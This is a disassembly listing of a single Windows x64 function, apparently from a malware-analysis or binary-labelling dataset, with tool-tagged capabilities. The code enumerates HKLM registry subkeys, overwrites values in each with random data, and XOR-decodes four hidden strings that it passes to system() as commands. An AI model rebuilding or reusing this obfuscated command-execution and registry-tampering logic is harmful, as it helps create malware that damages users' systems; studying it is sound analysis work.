Function at 0x7ff738e07e00
Capabilities:
Encode data using xor
Execute command
Query or enumerate registry key
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x278]
sub rsp, 0x360
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x7ff738e30008]
xor rax, rsp
mov qword [rbp + 0x220], rax
lea rdx, [0x7ff738e26030]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff738e038e0
lea rdx, [0x7ff738e03ab0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r14d, r14d
mov qword [rbp - 0x10], r14
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [0x7ff738e26040]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7ff738e07fcc
mov rdi, qword [rbp - 0x10]
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x10]
call sub.VCRUNTIME140.dll_memset
mov esi, r14d
mov dword [rbp - 8], 0x208
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp - 8]
lea r8, [rbp + 0x10]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.advapi32.dll_RegEnumKeyExW]
test eax, eax
jne 0x7ff738e07fc3
nop word [rax + rax]
lea r8, [0x7ff738e25c68]
lea rdx, [rbp + 0x10]
mov rcx, rdi
call fcn.7ff738e06d30
lea r8, [0x7ff738e260e0]
lea rdx, [rbp + 0x10]
mov rcx, rdi
call fcn.7ff738e06d30
mov qword [rbp - 0x30], r14
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7ff738e07f8b
mov rbx, qword [rbp - 0x30]
xor eax, eax
mov dword [rbp + 4], eax
call qword [sym.imp.ucrtbase.dll_rand]
mov dword [rbp], eax
call qword [sym.imp.ucrtbase.dll_rand]
mov dword [rbp + 4], eax
mov dword [rsp + 0x28], 8
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 0xb
xor r8d, r8d
lea rdx, [0x7ff738e260f0]
mov rcx, rbx
call qword [sym.imp.advapi32.dll_RegSetValueExW]
mov rcx, rbx
call qword [sym.imp.advapi32.dll_RegCloseKey]
inc esi
mov dword [rbp - 8], 0x208
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp - 8]
lea r8, [rbp + 0x10]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.advapi32.dll_RegEnumKeyExW]
test eax, eax
je 0x7ff738e07ef0
mov rcx, rdi
call qword [sym.imp.advapi32.dll_RegCloseKey]
movups xmm0, xmmword [0x7ff738e284a0]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x7ff738e284c0]
movups xmm1, xmmword [0x7ff738e284b0]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
movzx eax, byte [0x7ff738e284f0]
movups xmm0, xmmword [0x7ff738e284e0]
movups xmm1, xmmword [0x7ff738e284d0]
mov byte [rbp - 0x50], al
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
mov r8d, r14d
mov esi, 4
lea r15d, [rsi + 0x1b]
mov edi, dword [0x7ff738e30018]
cmp edi, 2
jl 0x7ff738e08167
movdqa xmm5, xmmword [0x7ff738e28980]
movdqa xmm4, xmmword [0x7ff738e289f0]
movd xmm6, esi
movdqa xmm7, xmmword [0x7ff738e289a0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x7ff738e289d0]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rbp - 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff738e289c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff738e289c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x7ff738e08060
cmp r8d, 0x51
jge 0x7ff738e081b0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x7ff738e08180
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
lea rax, [rsp + 0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x7ff738e081d2
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.7ff738e035b0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.ucrtbase.dll_system]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x7ff738e08242
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff738e0823d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff738e0823d
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff738e21b94
movups xmm0, xmmword [0x7ff738e28570]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x7ff738e28590]
movups xmm1, xmmword [0x7ff738e28580]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x7ff738e285b0]
movups xmm1, xmmword [0x7ff738e285a0]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
cmp edi, 2
jl 0x7ff738e083c1
movdqa xmm5, xmmword [0x7ff738e28980]
mov edx, r14d
movdqa xmm4, xmmword [0x7ff738e289f0]
movd xmm6, esi
movdqa xmm7, xmmword [0x7ff738e289a0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x7ff738e289d0]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rsp + 0x64]
mov r8d, dword [rbp - 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff738e289c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff738e289c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x50
jl 0x7ff738e082c0
jmp 0x7ff738e08400
lea r9, [rsp + 0x60]
mov r8d, r14d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x50
jl 0x7ff738e083d0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
lea rax, [rsp + 0x60]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff738e08420
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.7ff738e035b0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.ucrtbase.dll_system]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x7ff738e08490
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff738e0848b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff738e0848b
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff738e21b94
movups xmm0, xmmword [0x7ff738e28430]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x7ff738e28498]
movups xmm0, xmmword [0x7ff738e28450]
movups xmm1, xmmword [0x7ff738e28440]
mov dword [rbp - 0x38], eax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
movzx eax, word [0x7ff738e2849c]
movups xmm0, xmmword [0x7ff738e28470]
movups xmm1, xmmword [0x7ff738e28460]
mov word [rbp - 0x34], ax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
movzx eax, byte [0x7ff738e2849e]
movsd xmm0, qword [0x7ff738e28490]
movups xmm1, xmmword [0x7ff738e28480]
mov byte [rbp - 0x32], al
movsd qword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x50], xmm1
mov r8d, r14d
cmp edi, 2
jl 0x7ff738e08648
movdqa xmm5, xmmword [0x7ff738e28980]
movdqa xmm4, xmmword [0x7ff738e289f0]
movd xmm6, esi
movdqa xmm7, xmmword [0x7ff738e289a0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x7ff738e289d0]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rbp - 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff738e289c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff738e289c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x7ff738e08541
cmp r8d, 0x6f
jge 0x7ff738e08690
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6f
jl 0x7ff738e08660
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
lea rax, [rsp + 0x60]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff738e086b0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.7ff738e035b0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.ucrtbase.dll_system]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x7ff738e08720
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff738e0871b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff738e0871b
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff738e21b94
movzx eax, byte [0x7ff738e28560]
movups xmm0, xmmword [0x7ff738e28550]
mov byte [rsp + 0x50], al
movups xmmword [rsp + 0x40], xmm0
mov r8d, r14d
cmp edi, 2
jl 0x7ff738e08887
movdqa xmm5, xmmword [0x7ff738e28980]
movdqa xmm4, xmmword [0x7ff738e289f0]
movd xmm6, esi
movdqa xmm7, xmmword [0x7ff738e289a0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x7ff738e289d0]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff738e289c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff738e289c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff738e08780
cmp r8d, 0x11
jge 0x7ff738e088d0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x7ff738e088a0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0xf
lea rax, [rsp + 0x40]
inc rbx
cmp byte [rax + rbx], 0
jne 0x7ff738e088e5
mov r8, rbx
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.7ff738e035b0
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.ucrtbase.dll_system]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x7ff738e08951
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff738e0894c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff738e0894c
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff738e21b94
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.7ff738e21b30
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret